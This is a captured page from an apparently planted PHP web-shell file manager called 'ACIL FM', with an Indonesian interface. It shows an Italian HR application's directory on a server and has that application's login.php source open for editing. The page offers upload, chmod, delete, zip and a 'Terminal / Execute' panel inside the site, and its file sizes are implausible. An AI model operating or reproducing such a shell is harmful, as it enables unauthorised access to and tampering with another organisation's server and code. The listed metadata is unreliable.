ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/app/NH-HR-test-old/mb
/
home
mhhtmff
app
NH-HR-test-old
mb
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
app
-
chmod
Open
Rename
Delete
fonts
-
chmod
Open
Rename
Delete
fonts5
-
chmod
Open
Rename
Delete
images
-
chmod
Open
Rename
Delete
logs
-
chmod
Open
Rename
Delete
php
-
chmod
Open
Rename
Delete
plugins
-
chmod
Open
Rename
Delete
public
-
chmod
Open
Rename
Delete
scripts
-
chmod
Open
Rename
Delete
scss
-
chmod
Open
Rename
Delete
styles
-
chmod
Open
Rename
Delete
uploads
-
chmod
Open
Rename
Delete
.DS_Store
8 MB
chmod
View
DL
Edit
Rename
Delete
bacheca.php
2.12 MB
chmod
View
DL
Edit
Rename
Delete
edit_permission.php
6.21 MB
chmod
View
DL
Edit
Rename
Delete
edit_transfer.php
3.25 MB
chmod
View
DL
Edit
Rename
Delete
index.php
2.64 MB
chmod
View
DL
Edit
Rename
Delete
login.php
12.4 MB
chmod
View
DL
Edit
Rename
Delete
new_permission.php
4.13 MB
chmod
View
DL
Edit
Rename
Delete
new_stamp.php
8.67 MB
chmod
View
DL
Edit
Rename
Delete
new_transfer.php
2.56 MB
chmod
View
DL
Edit
Rename
Delete
permissions_list.php
6.31 MB
chmod
View
DL
Edit
Rename
Delete
permission_details.php
5.74 MB
chmod
View
DL
Edit
Rename
Delete
profile.php
3.82 MB
chmod
View
DL
Edit
Rename
Delete
stamps_calendar.php
2.04 MB
chmod
View
DL
Edit
Rename
Delete
stamps_list.php
4.53 MB
chmod
View
DL
Edit
Rename
Delete
stamp_details.php
3.55 MB
chmod
View
DL
Edit
Rename
Delete
transfers_list.php
5.2 MB
chmod
View
DL
Edit
Rename
Delete
transfer_details.php
4.04 MB
chmod
View
DL
Edit
Rename
Delete
_manifest.json
1.39 MB
chmod
View
DL
Edit
Rename
Delete
_service-worker.js
2.06 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/app/NH-HR-test-old/mb/login.php
<?php $error = $_GET["error"]; $error_details = $_GET["errorDetails"]; ?> <!DOCTYPE HTML> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent"> <meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1, viewport-fit=cover" /> <title>NH-HR test</title> <link rel="stylesheet" type="text/css" href="styles/bootstrap.css"> <link rel="stylesheet" type="text/css" href="styles/style.css"> <link href="https://fonts.googleapis.com/css?family=Poppins:300,400,500,600,700,800,900|Roboto:300,300i,400,400i,500,500i,700,700i,900,900i&display=swap" rel="stylesheet"> <link rel="stylesheet" type="text/css" href="fonts/css/fontawesome-all.min.css"> <link rel="manifest" href="_manifest.json" data-pwa-version="set_in_manifest_and_pwa_js"> <!-- CUSTOM --> <!-- <link href="https://cdn.datatables.net/v/dt/jq-3.7.0/jszip-3.10.1/dt-2.1.2/b-3.1.0/b-colvis-3.1.0/b-html5-3.1.0/b-print-3.1.0/datatables.min.css" rel="stylesheet"> --> <link href="https://cdn.datatables.net/v/dt/jq-3.7.0/jszip-3.10.1/dt-2.1.2/b-3.1.0/b-colvis-3.1.0/b-html5-3.1.0/b-print-3.1.0/datatables.min.css" rel="stylesheet"> <!-- CUSTOM --> <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script> <script src="scripts/globals.js"></script> <script type="text/javascript" src="scripts/login.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.2.7/pdfmake.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.2.7/vfs_fonts.js"></script> <script src="https://cdn.datatables.net/v/dt/jq-3.7.0/jszip-3.10.1/dt-2.1.2/b-3.1.0/b-colvis-3.1.0/b-html5-3.1.0/b-print-3.1.0/datatables.min.js"></script> <script src="https://kit.fontawesome.com/a449ed3a2a.js" crossorigin="anonymous"></script> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script> <script type="text/javascript" src="scripts/bootstrap.min.js"></script> <script type="text/javascript" src="scripts/custom.js"></script> </head> <body class="theme-light"> <div id="preloader"> <div class="spinner-border color-highlight" role="status"></div> </div> <div id="page"> <div class="page-content"> <div class="page-title page-title-small"> <h2 style="text-align: center;">Log In</h2> </div> <div class="card header-card shape-rounded" data-card-height="150"> <div class="card-overlay bg-highlight opacity-95" style="background-color: black !important;"></div> <div class="card-overlay dark-mode-tint"></div> <div class="card-bg preload-img" data-src="images/pictures/20s.jpg"></div> </div> <div class="card card-style" id="login_container"> <div class="content mt-2 mb-0"> <div class="text-center" style="padding-top: 20px;padding-bottom: 50px;"> <img src="images/hr_logo.png" class="home-logo" style="width: 70%;" /> </div> <form> <div class="input-style no-borders has-icon validate-field mb-4"> <i class="fa fa-user"></i> <input type="email" class="form-control validate-name" id="email" name="email" placeholder="Email" required> <label for="form1a" class="color-blue-dark font-10 mt-1">Email</label> <i class="fa fa-times disabled invalid color-red-dark"></i> <i class="fa fa-check disabled valid color-green-dark"></i> <em>(required)</em> </div> <div class="input-style no-borders has-icon validate-field mb-4"> <i class="fa fa-lock"></i> <input type="password" class="form-control validate-password" id="password" name="password" placeholder="Password" required> <label for="form3a" class="color-blue-dark font-10 mt-1">Password</label> <i class="fa fa-times disabled invalid color-red-dark"></i> <i class="fa fa-check disabled valid color-green-dark"></i> <em>(required)</em> </div> <!-- <a href="#" class="btn btn-m mt-4 mb-4 btn-full bg-black rounded-sm text-uppercase font-900">Login</a> --> <!-- <input class="btn btn-m mt-4 mb-4 btn-full bg-black rounded-sm text-uppercase font-900" type="submit" value="Login"> --> <a href="#" onclick="loginRequest()" class="btn btn-m mt-4 mb-4 btn-full bg-black rounded-sm text-uppercase font-900" style="margin: auto;">Login</a> <?php if ($error) { if ($error_details == "wrongPassword") { echo "<p style='color: red; text-align: center'>Password errata!</p>"; } else if ($error_details == "wrongEmail") { echo "<p style='color: red; text-align: center'>Email errata!</p>"; } else if ($error_details == "disabledUser") { echo "<p style='color: red; text-align: center'>Utente non abilitato!</p>"; } } ?> </form> <div class="divider mt-4 mb-3"></div> <div class="d-flex"> <div class="font-11 pb-2 color-theme opacity-60 pb-3 text-end"><a href="#" onclick="openForgotSection()" class="color-theme">Password dimenticata?</a></div> </div> </div> </div> <div class="card card-style" id="forgot_password_content" style="display:none"> <div class="content mt-2 mb-5"> <h2 class="font-700 mb-0">Password dimenticata?</h2> <p class="font-11 mb-3"> Inserisci la mail per recuperare la password </p> <div class="input-style no-borders has-icon validate-field mb-4 mt-3"> <i class="fa fa-at"></i> <input type="email" class="form-control validate-email" id="forgot_email" placeholder="Email"> <label for="forgot_email" class="color-highlight font-11 font-500 mt-1">Email</label> </div> <a href="#" onclick="sendForgotVerificationCode()" class="btn btn-full btn-m shadow-l rounded-s bg-highlight text-uppercase font-900 mt-4">RECUPERA PASSWORD</a> </div> </div> <div class="card card-style" id="otp_verification_content" style="display:none"> <div class="content mt-2 mb-5"> <h1 class="font-28">Codice di verifica</h1> <p class="boxed-text-l"> Per ripristinare la password inserisci il codice di verifica che ti è arrivato via mail. </p> <div class="text-center mb-3 pt-3 pb-2"> <form action=""> <input class="otp mx-1 rounded-sm text-center font-20 font-900" type="number" placeholder="❋" id="otp_num_1"> <input class="otp mx-1 rounded-sm text-center font-20 font-900" type="number" placeholder="❋" id="otp_num_2"> <input class="otp mx-1 rounded-sm text-center font-20 font-900" type="number" placeholder="❋" id="otp_num_3"> <input class="otp mx-1 rounded-sm text-center font-20 font-900" type="number" placeholder="❋" id="otp_num_4"> </form> </div> <a href="#" onclick="checkForgotVerificationCode()" class="back-button btn btn-m btn-center-l bg-highlight rounded-sm font-700 text-uppercase">Verifica</a> </div> </div> <div class="card card-style" id="password_reset_content" style="display:none"> </div> </div> </div> <script> function loginRequest() { var email = document.querySelector("#email").value; var password = document.querySelector("#password").value; if (email == "") { const Toast = Swal.mixin({ toast: true, position: "bottom", showConfirmButton: false, timer: 3000, timerProgressBar: true, didOpen: (toast) => { toast.onmouseenter = Swal.stopTimer; toast.onmouseleave = Swal.resumeTimer; } }); Toast.fire({ icon: "error", title: "Email è obbligatoria" }); exit; } if (password == "") { const Toast = Swal.mixin({ toast: true, position: "bottom", showConfirmButton: false, timer: 3000, timerProgressBar: true, didOpen: (toast) => { toast.onmouseenter = Swal.stopTimer; toast.onmouseleave = Swal.resumeTimer; } }); Toast.fire({ icon: "error", title: "Password è obbligatoria" }); exit; } $.ajax({ type: "POST", url: "php/auth.php", data: { email: email, password: password }, success: function(res) { if (res === 'error') { const Toast = Swal.mixin({ toast: true, position: "bottom", showConfirmButton: false, timer: 3000, timerProgressBar: true, didOpen: (toast) => { toast.onmouseenter = Swal.stopTimer; toast.onmouseleave = Swal.resumeTimer; } }); Toast.fire({ icon: "error", title: "Dati errati" }); } else if (res === 'notEnable') { const Toast = Swal.mixin({ toast: true, position: "bottom", showConfirmButton: false, timer: 3000, timerProgressBar: true, didOpen: (toast) => { toast.onmouseenter = Swal.stopTimer; toast.onmouseleave = Swal.resumeTimer; } }); Toast.fire({ icon: "error", title: "Utente disabilitato" }); } else if (res === 'ok') { const Toast = Swal.mixin({ toast: true, position: "bottom", showConfirmButton: false, timer: 3000, timerProgressBar: true, didOpen: (toast) => { toast.onmouseenter = Swal.stopTimer; toast.onmouseleave = Swal.resumeTimer; } }); Toast.fire({ icon: "success", title: "Accesso effettuato" }); location.href = "index.php?login=true"; } } }); } </script> </body> </html>
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply